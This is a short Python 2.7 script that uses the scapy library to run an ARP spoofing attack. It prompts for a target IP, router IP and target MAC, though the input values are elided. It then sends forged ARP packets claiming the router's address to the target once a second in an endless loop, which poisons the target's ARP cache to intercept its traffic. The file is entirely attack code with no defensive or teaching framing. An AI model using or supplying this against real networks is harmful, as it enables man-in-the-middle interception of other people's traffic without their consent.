#!/usr/bin/python
#for python 2.7
from subprocess import check_output,call
import time
try:
    from scapy.all import *
except:
    print "Installation of scapy is necessary" 

print "Ip addres of target"
ipTarget = ...
print "Ip addres of router"
router = ...
print "Mac addres of target"
macTarget= ...

packet = ARP()
packet.psrc = router
packet.pdst = ipTarget

while 1:
	send(packet,verbose=0)
	time.sleep(1)

